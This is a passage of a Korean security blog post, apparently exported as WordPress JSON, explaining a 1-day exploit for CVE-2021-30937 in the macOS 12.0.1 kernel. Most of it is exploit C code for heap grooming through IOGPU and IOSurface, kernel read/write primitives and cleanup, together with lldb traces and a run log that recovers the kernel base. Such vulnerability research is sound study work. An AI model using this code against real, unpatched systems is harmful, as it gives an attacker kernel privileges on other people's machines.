kernel.release.vmapple`ipc_kobject_server(port=&lt;unavailable&gt;, request=0xfffffe1514ac8900, option=&lt;unavailable&gt;) at ipc_kobject.c:580:8 [opt]\n    frame #17: 0xfffffe000c0748e8 kernel.release.vmapple`ipc_kmsg_send(kmsg=0xfffffe1514ac8900, option=3, send_timeout=0) at ipc_kmsg.c:2202:10 [opt]\n    frame #18: 0xfffffe000c08c2c8 kernel.release.vmapple`mach_msg_overwrite_trap(args=&lt;unavailable&gt;) at mach_msg.c:371:8 [opt]\n    frame #19: 0xfffffe000c1b9b2c kernel.release.vmapple`mach_syscall(state=0xfffffe150ff02120) at bsd_arm64.c:276:11 [opt]\n    frame #20: 0xfffffe000c1c2e78 kernel.release.vmapple`handle_svc(state=0xfffffe150ff02120) at sleh.c:2411:3 [opt] [inlined]\n    frame #21: 0xfffffe000c1c2e0c kernel.release.vmapple`sleh_synchronous(context=0xfffffe150ff02120, esr=&lt;unavailable&gt;, far=4368957440) at sleh.c:743:3 [opt]\n    frame #22: 0xfffffe000c05479c kernel.release.vmapple`fleh_synchronous + 40\n    frame #23: 0x0000000184ff9954\n    frame #24: 0x0000000185016250\t\/\/_mach_port_destroy ...\n    frame #25: 0x0000000100eee710\t\/\/_port_destroy+0x24\n    frame #26: 0x0000000100eecff4\t\/\/_exploitation_get_krw_with_arb_free+0x1c0\n    frame #27: 0x0000000100eed2e4\t\/\/_exploit_get_krw_and_kernel_base+0x40\n    frame #28: 0x0000000100eed418\t\/\/_main+0x50\n    frame #29: 0x00000001012650f4\n<\/code><\/pre>\n<p>\uc774\uc804\uc5d0 \uc2e4\ud3b4\ubd24\ub358  <code>ipc_kmsg_clean_body<\/code>\uc5d0 \uc788\ub294 <code>ipc_object_destroy(object, dsc-&gt;disposition);<\/code> \ucf54\ub4dc\uc5d0 \uc758\ud574 \ud30c\uad34\ub420\uac70\ub77c\uace0 \ud588\uc5c8\ub294\ub370,\n\ud574\ub2f9 \ub8e8\ud504\ubb38\uc740 <code>kheap_default_ports<\/code> \ubc30\uc5f4\ub4e4 \uc911 \uc5b4\ub290 \ud3ec\ud2b8\uac00 <code>notif_port<\/code>\uc774 \ud30c\uad34\ub41c\uac74\uc9c0 \ud655\uc778\ud558\ub294 \uc791\uc5c5\uc774\ub2e4.<\/p>\n<p>\uc774 \uc791\uc5c5\uc744 \ud1b5\ud574 KHEAP_DEFAULT_MAPPABLE_LOC \uc8fc\uc18c\ub85c \ud560\ub2f9\ub41c \uacf3\uc774 \uc5b4\ub290 \ud3ec\ud2b8\uc5d0 \ud574\ub2f9\ub418\ub294\uc9c0 \uad6c\ubd84\ud560 \uc218 \uc788\uc73c\uba70, \ud574\ub2f9\ub418\ub294 \ud3ec\ud2b8\uac00 <code>port_destroy<\/code> \ub418\uba74\uc11c<code>KHEAP_DEFAULT_MAPPABLE_LOC<\/code> \ud560\ub2f9\ub418\uc5c8\ub358 \uacf3\uc774 free\ub41c\ub2e4.<\/p>\n<pre><code class=\"language-c\">int port_has_msg(mach_port_t p)\n{\n    mach_msg_header_t msg = { 0 };\n\n    mach_msg(&amp;msg, MACH_RCV_LARGE | MACH_RCV_MSG | MACH_RCV_TIMEOUT, 0, 0x10, p, 0, 0);\n\n    return msg.msgh_size;\n}\n\nvoid port_receive_msg(mach_port_t p, uint8_t *buf, unsigned int n)\n{\n    mach_msg((mach_msg_header_t *)buf,\n              MACH_RCV_MSG | MACH_MSG_TIMEOUT_NONE,\n              0,\n              n,\n              p,\n              0,\n              0);\n}\n\nint exploitation_get_krw_with_arb_free(mach_port_t arb_free_holder, uint64_t *kernel_base)\n{\n...\n    \/\/ find allocation at KHEAP_DEFAULT_MAPPABLE_LOC\n    int kheap_default_idx = -1;\n    for (uint32_t i = 0;\n         (i &lt; PORTS_COUNT) &amp;&amp; port_has_msg(notif_port);\n         i++)\n    {\n        port_receive_msg(notif_port, msg_buf, sizeof(msg_buf));\n       \n        port_destroy(kheap_default_ports[i]);   \/\/will trigger zone_require_panic if you don't IOSurfaceRoot_release_all(iosurface_connect_krw);\n\n        kheap_default_idx = i;\n    }\n    \n    \/\/ Note: don't add time sensitive code here, allocation at KHEAP_DEFAULT_MAPPABLE_LOC\n    \/\/ has been free'd and will be refilled below\n    \n    \/\/ printf(&quot;Allocation at KHEAP_DEFAULT_MAPPABLE_LOC has been free'd\\n&quot;);\n    \n    if (kheap_default_idx &gt;= PORTS_COUNT)\n    {\n        printf(&quot;kheap_default_idx &gt;= PORTS_COUNT\\n&quot;);\n        exit(1);\n    }\n...\n}\n<\/code><\/pre>\n<h2>3-5. IOGPU \/ IOSurface\ub97c \ud65c\uc6a9\ud558\uc5ec \ucee4\ub110 r\/w \ud574\ubcf4\uae30<\/h2>\n<p><strong>IOGPU userclient<\/strong>\ub3c4 IOSurface userclient\uac00 IOSurfaceClient \ubc30\uc5f4\uc744 \uad00\ub9ac\ud558\ub294 \ubc29\uc2dd\uacfc \uc720\uc0ac\ud558\uac8c, \ubc30\uc5f4 \ub0b4 \uac1d\uccb4\ub4e4\uc744 \uad00\ub9ac\ud55c\ub2e4. IOGPU \ubc30\uc5f4 \ub610\ud55c <strong>\uac00\ubcc0 \ud06c\uae30\uc774\uba70 KHEAP_KEXT\uc5d0 \ud560\ub2f9\ub418\uba70,<\/strong> \ud2b9\ud788 IOGPU\ub294 IOGPUCommandQueue \uac1d\uccb4\ub97c \uc0dd\uc131\ud558\uace0 \ud574\ub2f9 \ubc30\uc5f4\uc5d0 \ucd94\uac00\ud558\ub294 \uc140\ub809\ud130\ub97c \uc81c\uacf5\ud574\uc8fc\ub294\ub370 \uc774\ub97c \ud65c\uc6a9\ud574 \uc5b4\ub5bb\uac8c Kernel R\/W\uae4c\uc9c0 \ub2ec\uc131\ud560 \uc218 \uc788\ub294\uc9c0 \uc54c\uc544\ubcf4\uc790.<\/p>\n<p>\uc6b0\uc120 KHEAP_DEFAULT_MAPPABLE_LOC \uc8fc\uc18c\ub85c IOGPU \ubc30\uc5f4\uc744 \ud560\ub2f9\ubc1b\uae30 \uc704\ud574\n<code>kheap_default_ports<\/code>\ub97c \ucd94\uac00\ub85c \ub354 free\uc2dc\ucf1c\uc900\ub2e4.<\/p>\n<p>\uc774\ub294 \uae30\uae30 \ud658\uacbd\ub9c8\ub2e4 <code>extra_frees_for_device<\/code>\uac00 \ub2e4\ub974\uba70, VMApple\uc758 \uacbd\uc6b0 1\uc774\uc5c8\ub2e4.<\/p>\n<pre><code class=\"language-c\">int exploitation_get_krw_with_arb_free(mach_port_t arb_free_holder, uint64_t *kernel_base)\n{\n...\n    \/\/ extra frees\n    for (int i = 0; i &lt; extra_frees_for_device; ++i)\n    {\n        port_destroy(kheap_default_ports[(kheap_default_idx+1)+i]);\n    }\n...\n}\n<\/code><\/pre>\n<p>\uadf8\ub9ac\uace0 IOGPUCommandQueue \uac1d\uccb4\ub97c \uc0dd\uc131\ud558\uae30 \uc704\ud574 \ud574\ub2f9 \ubc30\uc5f4\uc5d0 \ucd94\uac00\ud558\ub294 \uc140\ub809\ud130\uc778 IOGPUDeviceUserClient::s_new_command_queue\ub97c \ud638\ucd9c\ud558\uae30 \uc804\uc5d0 \uc55e\uc11c\nIOGPU_init \ubd80\ud130 \uba3c\uc800 \uc0b4\ud3b4\ubcf4\uc790\u2026<\/p>\n<pre><code class=\"language-c\">int exploitation_get_krw_with_arb_free(mach_port_t arb_free_holder, uint64_t *kernel_base)\n{\n...\n\/\/ do refill\n    iogpu_connect = IOGPU_init();\n    \/\/ add entry\n    IOGPU_create_command_queue(iogpu_connect, KHEAP_DATA_MAPPABLE_LOC - 0x4000 + 0x10);\n    \n    printf(&quot;kheap_default_idx: %08X\\n&quot;, kheap_default_idx);\n...\n}\n<\/code><\/pre>\n<p>IOGPU_init\uc5d0\uc11c userclient\ub97c \ud68d\ub4dd\ud558\uba74, \ub0b4\ubd80\uc801\uc73c\ub85c IOGPU::newUserClient\uac00 \ud638\ucd9c\ub41c\ub2e4.<\/p>\n<p>IOGPU::newUserClient\n\u2192 IOGPUDeviceUserClient::start\n\u2192 IOGPUDeviceUserClient::deviceUserClientStart\n\u2192 IOGPU::createDevice\n\u2192 IOGPUDevice::init\uc5d0\uc11c \uc5ec\ub7ec\ubc88 IOGPUNamespace::strongNamespace\ub97c \ud638\ucd9c\ud558\ub294 \uac83\uc744 \ubcfc \uc218 \uc788\ub294\ub370, \uc5ec\uae30\uc11c IOMalloc\uc5d0 \uc758\ud574 \ucee4\ub110 \ud398\uc774\uc9c0 \ud06c\uae30\ub9cc\ud07c \ud560\ub2f9\ud558\ub294 \ubaa8\uc2b5\uc744 \ubcfc \uc218 \uc788\uc5c8\ub2e4.<\/p>\n<p>\uc774\uc804\uc5d0 <code>kheap_default_ports<\/code>\ub97c 1\ubc88 \ub354 free\ud588\ub358 \uc8fc\uc18c,\n\uadf8\ub9ac\uace0 \ub354 \uc774\uc804\uc5d0, \ud3ec\ud2b8\uac00 <code>port_destroy<\/code> \ub418\uba74\uc11c<code>KHEAP_DEFAULT_MAPPABLE_LOC<\/code> \ud560\ub2f9\ub418\uc5c8\ub358 \uacf3\uc774 free\ub418\uc5c8\ub358 \uc8fc\uc18c\uac00 \ub2e4\uc2dc \ud560\ub2f9\ub418\ub294 \ubaa8\uc2b5\uc774 \ubcf4\uc778\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2021-30937\/pics\/Drawing_2025-11-24_05.15.03.excalidraw_1.png\" alt=\"Drawing 2025-11-24 05.15.03.excalidraw 1.png\"><\/p>\n<p>IOGPUDeviceUserClient::s_new_command_queue \uc140\ub809\ud130\ub97c \ud638\ucd9c\ud558\uba74,\n\uc785\ub825 \uad6c\uc870\uccb4\uc5d0 \uc81c\uacf5\ud55c \ubb38\uc790\uc5f4\uc740 \uc0dd\uc131\ub41c IOGPUCommandQueue \uac1d\uccb4\uc758 \uc624\ud504\uc14b +0x10\ubd80\ud130 \ubcf5\uc0ac\ub41c\ub2e4.<\/p>\n<p>\ubb38\uc790\uc5f4\uc740 \ub110 \uc885\uacb0\ub418\uc9c0\ub9cc, \ub0b4\uc6a9\uc740 \uc784\uc758\ub85c \uc81c\uc5b4\ud560 \uc218 \uc788\uc73c\ubbc0\ub85c +0x40 \uc704\uce58\uc5d0 \ud3ec\uc778\ud130\ub97c \uc815\uad50\ud558\uac8c \uad6c\uc131\ud560 \uc218 \uc788\ub2e4.(\ub110 \ubc14\uc774\ud2b8\uac00 \ud544\uc218\ub294 \uc544\ub2d8).<\/p>\n<p>AppleParavirtGPU::newCommandQueue(__ZN16AppleParavirtGPU15newCommandQueueEv)\uc5d0\uc11c IOGPUCommandQueue \uac1d\uccb4\ub97c \ud560\ub2f9 \ubc0f \uc0dd\uc131\ud558\uba70,\n\uc624\ud504\uc14b +0x10\ubd80\ud130 \ubcf5\uc0ac\uae30 \uc77c\uc5b4\ub098\ub294 \uacf3\uc740 \ub2e4\uc74c\uacfc \uac19\ub2e4.<\/p>\n<p>IOGPUDeviceUserClient::s_new_command_queue\n\u2192 AppleParavirtCommandQueue::init\n\u2192 j____strlcpy_chk_26<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2021-30937\/pics\/Drawing_2025-11-24_05.15.03.excalidraw.png\" alt=\"Drawing 2025-11-24 05.15.03.excalidraw.png\"><\/p>\n<pre><code class=\"language-c\">(lldb) c\nProcess 1 resuming\nProcess 1 stopped\n* thread #1, name = 'CPU0', stop reason = breakpoint 1.1\n    frame #0: 0xfffffe001951e5a4\n-&gt;  0xfffffe001951e5a4: bl     0xfffffe0019528d14\n    0xfffffe001951e5a8: ldrb   w8, [x22, #0x404]\n    0xfffffe001951e5ac: cmp    w8, #0x0\n    0xfffffe001951e5b0: cset   w8, ne\nTarget 0: (kernel.release.vmapple) stopped.\n(lldb) reg read x0\n      x0 = 0xfffffe151116c790\n(lldb) reg read x1\n      x1 = 0xfffffe22878d47b4\n(lldb) x\/12gx 0xfffffe22878d47b4\n0xfffffe22878d47b4: 0x0101010101010101 0x0101010101010101\n0xfffffe22878d47c4: 0x0101010101010101 0x0101010101010101\n0xfffffe22878d47d4: 0x0101010101010101 0x0101010101010101\n0xfffffe22878d47e4: 0xfffffe228cffc010 0x0000000000000000\n0xfffffe22878d47f4: 0x0000000000000000 0x0000000000000000\n0xfffffe22878d4804: 0x0000000000000000 0x0000000000000000\n<\/code><\/pre>\n<p>\uadf8\ub7f0 \ub2e4\uc74c, IOGPUWeakNamespace::addObjectLocked\uc5d0\uc11c\nKHEAP_DEFAULT_MAPPABLE_LOC+8\uc5d0 x20 \ub808\uc9c0\uc2a4\ud130\uac12(=\uc140\ub809\ud130\ub97c \ud638\ucd9c\ud560 \ub54c \uc785\ub825 \uad6c\uc870\uccb4\uc5d0 \uc81c\uacf5\ud55c \ubb38\uc790\uc5f4\uacfc KHEAP_DATA_MAPPABLE_LOC &#8211; 0x4000 + 0x10 \uc8fc\uc18c\uac00 \ud568\uaed8 \ub2f4\uae34 \ubc84\ud37c \uc8fc\uc18c)\uc744 \uc4f0\ub294 \uac78 \ubcfc \uc218 \uc788\ub2e4.<\/p>\n<p>IOGPUDeviceUserClient::s_new_command_queue\n\u2192 IOGPUNamespace::addObject\n\u2192 IOGPUWeakNamespace::addObjectLocked<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2021-30937\/pics\/Screenshot_2025-11-24_at_4.51.19_AM.png\" alt=\"Screenshot 2025-11-24 at 4.51.19\u202fAM.png\"><\/p>\n<pre><code class=\"language-c\">(lldb) b 0xfffffe0011b3bf04\nBreakpoint 2: address = 0xfffffe0011b3bf04\n(lldb) c\nProcess 1 resuming\nProcess 1 stopped\n* thread #2, name = 'CPU1', stop reason = breakpoint 2.1\n    frame #0: 0xfffffe0011b3bf04\n-&gt;  0xfffffe0011b3bf04: str    x20, [x10, w0, uxtw #3]\n    0xfffffe0011b3bf08: cbz    x20, 0xfffffe0011b3bf18\n    0xfffffe0011b3bf0c: ldr    w10, [x19, #0x30]\n    0xfffffe0011b3bf10: add    w10, w10, #0x1\n    \n(lldb) reg read x20 x10 w0\n     x20 = 0xfffffe151137b400\n     x10 = 0xfffffe2281888000\n      w0 = 0x00000001\n      \n(lldb) x\/12gx 0xfffffe151137b400\n0xfffffe151137b400: 0x3de07e0012572710 0x0000000100000001\n0xfffffe151137b410: 0x0101010101010101 0x0101010101010101\n0xfffffe151137b420: 0x0101010101010101 0x0101010101010101\n0xfffffe151137b430: 0x0101010101010101 0x0101010101010101\n0xfffffe151137b440: 0xfffffe228cffc010 0x0000000000000000\n0xfffffe151137b450: 0x0000000000000000 0x0000000000000000\n<\/code><\/pre>\n<p>\uc774\ub807\uac8c \uc6b0\ub9ac\ub294 m_IOSurfaceClientArrayPointer \ud560\ub2f9\ub41c \uacf3\uc744 port_destory\ub85c free\uc2dc\ud0a4\uace0,\nIOGPUCommandQueue \uac1d\uccb4\ub97c \uc0dd\uc131\ud558\uace0 \ud574\ub2f9 \ubc30\uc5f4\uc5d0 \ucd94\uac00\uc2dc\ud0b4\uc73c\ub85c\uc368 m_IOSurfaceClientArrayPointer \ub370\uc774\ud130\ub97c \uc784\uc758\uc870\uc791\ud560 \uc218 \uc788\uc5c8\ub2e4.<\/p>\n<pre><code class=\"language-c\">(lldb) x\/32gx 0xfffffe2281888000 \/\/KHEAP_DEFAULT_MAPPABLE_LOC, IOSurfaceRootUserClient-&gt;m_IOSurfaceClientArrayPointer\n0xfffffe2281888000: 0x0000000000000000 **0xfffffe1510b56800**\n0xfffffe2281888010: 0x0000000000000000 0x0000000000000000\n...\n(lldb) x\/32gx 0xfffffe1510b56800 (...+0x40 \u2192 KHEAP_DATA_MAPPABLE_LOC - 0x4000 + 0x10 = **0xfffff\ub530\ub77c\uc11c** \n<\/code><\/pre>\n<p>\uc6b0\ub9ac\uac00 \uc54c\uc544\uc57c\ub420\uac83\uc740 m_IOSurfaceClientArrayPointer+8\uc5d0 \uc801\ud78c \uc8fc\uc18c\uac00 <strong>0xfffffe228cffc010,\n\uc989 KHEAP_DATA_MAPPABLE_LOC(=0xfffffe228d000000)\ubcf4\ub2e4 \ub0ae\uc740 \uc704\uce58\uc5d0 \uc874\uc7ac\ud55c\ub2e4.<\/strong><\/p>\n<p><strong>\uadf8\ub807\uae30 \ub54c\ubb38\uc5d0<\/strong> kheap_data_idx-1 \uc778\ub371\uc2a4\uc5d0 \uc18d\ud55c kheap_data_port\ub97c port_destory\ud574\uc900\ub2e4.\n\uadf8\ub7ec\uba74 0x4000\ud06c\uae30\uc758 <strong>0xfffffe228cffc000 \ud560\ub2f9\ub418\uc5c8\ub358 \uacf3\uc774 free\ub41c\ub2e4.<\/strong><\/p>\n<p>\uc774\ud6c4, \ubc29\uae08 free\ub418\uc5c8\ub358 \uacf3\uc5d0\ub2e4 \ub2e4\uc2dc \ud560\ub2f9\uc2dc\ud0a4\uac8c\ub054 \ub9cc\ub4e4\uae30 \uc704\ud574 KERNEL_RW_SIZE_FAKE_ARRAY-1 \ud06c\uae30\ub9cc\ud07c pipe write\ud55c\ub2e4.<\/p>\n<pre><code class=\"language-c\">#define KERNEL_RW_SIZE_FAKE_ARRAY 0x4000\n\nint exploitation_get_krw_with_arb_free(mach_port_t arb_free_holder, uint64_t *kernel_base)\n{\n...    \n    \/\/ refill in kheap data\n    port_destroy(kheap_data_ports[kheap_data_idx-1]);\n    write(write_pipe, IOSurfaceClient_array_buf, KERNEL_RW_SIZE_FAKE_ARRAY-1);\n\n    kernel_rw_init(iosurface_connect_krw, 1, read_pipe, write_pipe);\n...\n}\n\nint kernel_rw_init(io_connect_t uc, uint32_t surf_id, int read_pipe, int write_pipe)\n{\n    _uc = uc;\n    _surf_id = surf_id;\n    _read_pipe = read_pipe;\n    _write_pipe = write_pipe;\n    \n    return 0;\n}\n<\/code><\/pre>\n<p>\uc774\uc81c \uac70\uc758 \ub2e4 \ub05d\ub0ac\ub2e4.\n\uc774\uc81c IOSurface\uc5d0\uc11c \uc81c\uacf5\ud558\ub294 \uc140\ub7ed\ud130\ub97c \ud638\ucd9c\ud558\uc5ec \ucee4\ub110 \uc77d\uae30\/\uc4f0\uae30\ub97c \ud560 \uc218 \uc788\ub2e4!<\/p>\n<p>buf + 0x10\uc778 \uc774\uc720\ub294 m_IOSurfaceClientArrayPointer+8\uc5d0 \uc801\ud78c \uc8fc\uc18c\uac00 <strong>0xfffffe228cffc010,\n\uc989 0xfffffe228cffc000 \ud560\ub2f9\ud398\uc774\uc9c0\uc758 +0x10\uc73c\ub85c \uc704\uce58\ud574\uc788\uae30 \ub54c\ubb38\uc774\ub2e4.<\/strong><\/p>\n<pre><code class=\"language-c\">void kwrite32(uint64_t kaddr, uint32_t val)\n{\n    uint8_t buf[KERNEL_RW_SIZE_FAKE_ARRAY];\n    \n    read(_read_pipe, buf, KERNEL_RW_SIZE_FAKE_ARRAY-1);\n    \n    *(uint64_t *)(buf + 0x10 + 0x40) = kaddr+ 0x10; \/\/ IOSurfaceClient-&gt;IOSurface\n    *(uint64_t *)(buf + 0x10 + 0xB0) = 1; \/\/ See IOSurface::setCompressedTileDataRegionMemoryUsedOfPlane\n    *(uint64_t *)(buf + 0x10 + 0xC0) = kaddr - 0xA0; \/\/ Write destination (+0xA0 added)\n    \n    write(_write_pipe, buf, KERNEL_RW_SIZE_FAKE_ARRAY-1);\n    \n    IOSurfaceRoot_set_compressed_tile_data_region_memory_used_of_plane(_uc, _surf_id, val);\n}\n\nuint32_t kread32(uint64_t kaddr)\n{\n    uint8_t buf[KERNEL_RW_SIZE_FAKE_ARRAY];\n    \n    read(_read_pipe, buf, KERNEL_RW_SIZE_FAKE_ARRAY-1);\n    \n    *(uint64_t *)(buf+ 0x10 + 0x40) = kaddr+ 0x10; \/\/ IOSurfaceClient-&gt;IOSurface\n    *(uint64_t *)(buf+ 0x10 + 0xC0 ) = kaddr - 0x14; \/\/ Write destination (+0xA0 added)\n    \n    write(_write_pipe, buf, KERNEL_RW_SIZE_FAKE_ARRAY-1);\n    \n    return IOSurfaceRoot_get_surface_use_count(_uc, _surf_id);\n}\n\nint exploitation_get_krw_with_arb_free(mach_port_t arb_free_holder, uint64_t *kernel_base)\n{\n... \n    kwrite32(KHEAP_DEFAULT_MAPPABLE_LOC, 0xFEED);\n    uint32_t result = kread32(KHEAP_DEFAULT_MAPPABLE_LOC);\n    printf(&quot;Test kwrite32 and kread32: %08X (should be 0000FEED)\\n&quot;, result);\n...\n}\n<\/code><\/pre>\n<p>\ubc30\uc5f4 \ub0b4 <strong>IOSurfaceClient \uc694\uc18c\uc758 +0x40 \uc704\uce58(IOSurface \ud3ec\uc778\ud130)\ub97c \uc81c\uc5b4\ud560 \uc218 \uc788\uae30 \ub54c\ubb38\uc5d0<\/strong>,\n\ucda9\ubd84\ud55c \uac04\uc811 \ucc38\uc870 \uc218\uc900(indirection)\uc774 \uc788\uc5b4 \ucee4\ub110 \uc784\uc758 \uc4f0\uae30\uc640 \uc77d\uae30\ub97c \uc218\ud589\ud560 \uc218 \uc788\ub294 \uac83\uc774\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2021-30937\/pics\/Drawing_2025-11-24_06.55.38.excalidraw.png\" alt=\"Drawing 2025-11-24 06.55.38.excalidraw.png\"><\/p>\n<h2>4. exploitation_cleanup<\/h2>\n<p>\ud574\ub2f9 \ucf54\ub4dc\ub294 \uc775\uc2a4\ud50c\ub85c\uc787 \ud504\ub85c\uc138\uc2a4\uac00 \ub05d\ub098\uace0, \ucee4\ub110 \ud328\ub2c9\uc744 \ubc29\uc9c0\ud558\uae30 \uc704\ud574 \uc544\ub798 \ucf54\ub4dc\uac00 \uc791\uc131\ub418\uc788\uc5c8\ub2e4.\n+0x8 \uc624\ud504\uc14b\uc740 \uac01\uac01 IOGPUCommandQueue, IOGPUNamespace \uac1d\uccb4\uc758 reference count\ub97c \uc758\ubbf8\ud55c\ub2e4.<\/p>\n<pre><code class=\"language-c\">void exploitation_cleanup(void)\n{\n    uint64_t command_queue_loc = kread64(KHEAP_DEFAULT_MAPPABLE_LOC + 8);\n    uint64_t parent_loc = kread64(command_queue_loc + 0x488);\n    uint64_t namespace_loc = kread64(parent_loc + 0x88);\n    \n    \/\/ \/\/ bump refs\n    kwrite32(command_queue_loc + 0x8, 10);\n    kwrite32(namespace_loc + 0x8, 10);\n    \n    IOServiceClose(iogpu_connect);\n}\n<\/code><\/pre>\n<p>\ub9cc\uc57d \ud574\ub2f9 \ucf54\ub4dc\ub97c \uc218\ud589\ud558\uc9c0 \uc54a\ub294\ub2e4\uba74, \uc544\ub798\uc640 \uac19\uc774 \ud328\ub2c9\uc774 \ubc1c\uc0dd\ud55c\ub2e4.\nIOGPUDeviceUserClient::free\n\u2192 IOGPUDevice::free\n\u2192 IOGPUNamespace::free<\/p>\n<p>\uc989 reference count\ub97c 10\uc73c\ub85c \uc99d\uac00\uc2dc\ucf1c, free\uac00 \uc218\ud589\ub418\uc9c0 \uc54a\uc74c\uc73c\ub85c\uc368 \ud328\ub2c9\uc774 \ubc1c\uc0dd\ud558\uc9c0 \uc54a\uac8c \ub9cc\ub4e4 \uc218 \uc788\ub294 \uac83\uc774\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2021-30937\/pics\/Drawing_2025-11-24_06.55.38.excalidraw_1.png\" alt=\"Drawing 2025-11-24 06.55.38.excalidraw 1.png\"><\/p>\n<p>\uc624\ud504\uc14b\uc5d0 \ub300\ud55c \uc815\ubcf4\ub85c, \ud55c \uac00\uc9c0 \uc54c \uc218 \uc788\ub294 \uc0ac\uc2e4\uc740\nIOGPUDevice \uac1d\uccb4\uc5d0\uc11c\nIOGPUNamespace \uac1d\uccb4\ub97c \ubd88\ub7ec\uc624\uae30 \uc704\ud574 +0x88 \uc624\ud504\uc14b \ud544\ub4dc\uc5d0 \uc811\uadfc\ud558\ub294\uac83\uc744 \ubcfc \uc218 \uc788\uc5c8\uace0,<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2021-30937\/pics\/Screenshot_2025-11-25_at_10.37.40_AM.png\" alt=\"Screenshot 2025-11-25 at 10.37.40\u202fAM.png\"><\/p>\n<p>\ub450\ubc88\uca30\ub294 IOGPUCommandQueue \uac1d\uccb4\uc5d0\uc11c\nIOGPUDevice \uac1d\uccb4\ub97c \ubd88\ub7ec\uc624\uae30 \uc704\ud574 +0x488 \uc624\ud504\uc14b\uc5d0 \ud544\ub4dc\uc5d0 \uc811\uadfc\ud558\ub294 \uac83\uc744 \ubcfc \uc218 \uc788\uc5c8\ub2e4.<\/p>\n<p>\ub530\ub77c\uc11c \uc775\uc2a4\ud50c\ub85c\uc787 \ucf54\ub4dc\uc5d0\uc11c \uc0ac\uc6a9\ub41c parent_loc \ubcc0\uc218\ub294 IOGPUDevice \uac1d\uccb4\uc5d0 \ub300\ud55c \ucee4\ub110 \uc8fc\uc18c\uc77c \uac83\uc774\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2021-30937\/pics\/Screenshot_2025-11-25_at_10.40.59_AM.png\" alt=\"Screenshot 2025-11-25 at 10.40.59\u202fAM.png\"><\/p>\n<h1>\uc2e4\ud589 \uacb0\uacfc<\/h1>\n<pre><code class=\"language-c\">seo@seos-Mac ~ % .\/exp\nIncrease reliability...\nIncrease reliability...\nIncrease reliability...\nStart (will fail if device has not been rebooted since last run)\niteration 0\nkheap_data_idx: 0000175B\nIOGPU_create_command_queue kr = 0x0 ((os\/kern) successful)\nkheap_default_idx: 000011C4\nTest kwrite32 and kread32: 0000FEED (should be 0000FEED)\nGet kernel base...\nGot kernel base: 0xfffffe001cd98000\nkread32(_kernel_base) success: FEEDFACF\nDone\n\nseo@seos-Mac ~ % sysctl kern.version\nkern.version: Darwin Kernel Version 21.1.0: Wed Oct 13 17:33:22 PDT 2021; root:xnu-8019.41.5~1\/RELEASE_ARM64_VMAPPLE\n\nseo@seos-Mac ~ % sw_vers\nProductName:    macOS\nProductVersion: 12.0.1\nBuildVersion:   21A559\n<\/code><\/pre>\n<h1>\ub3c4\uc640\uc900 \uace0\ub9c8\uc6b0\uc2e0 \ubd84<\/h1>\n<ul>\n<li><a href=\"https:\/\/x.com\/jaakerblom\">@jaakerblom<\/a><\/li>\n<li><a href=\"https:\/\/x.com\/0xmard\">@0xMard<\/a><\/li>\n<\/ul>\n<h1>\ucc38\uace0 \uc790\ub8cc<\/h1>\n<p><a href=\"https:\/\/github.com\/potmdehex\/slides\/blob\/main\/Zer0Con_2022_Tales_from_the_iOS_macOS_Kernel_Trenches.pdf\">https:\/\/github.com\/potmdehex\/slides\/blob\/main\/Zer0Con_2022_Tales_from_the_iOS_macOS_Kernel_Trenches.pdf<\/a><\/p>\n<p><a href=\"https:\/\/project-zero.issues.chromium.org\/issues\/42451345\">https:\/\/project-zero.issues.chromium.org\/issues\/42451345<\/a><\/p>\n<\/div>\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"neve_meta_sidebar":"","neve_meta_container":"","neve_meta_enable_content_width":"","neve_meta_content_width":0,"neve_meta_title_alignment":"","neve_meta_author_avatar":"","neve_post_elements_order":"","neve_meta_disable_header":"","neve_meta_disable_footer":"","neve_meta_disable_title":"","_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[72,1],"tags":[11,12,13,25],"class_list":["post-4024","post","type-post","status-publish","format-standard","hentry","category-realworld","category-uncategorized","tag-ios","tag-ios-kernel","tag-macos","tag-pwnable"],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/4024","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4024"}],"version-history":[{"count":1,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/4024\/revisions"}],"predecessor-version":[{"id":4025,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/4024\/revisions\/4025"}],"wp:attachment":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4024"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4024"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4024"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}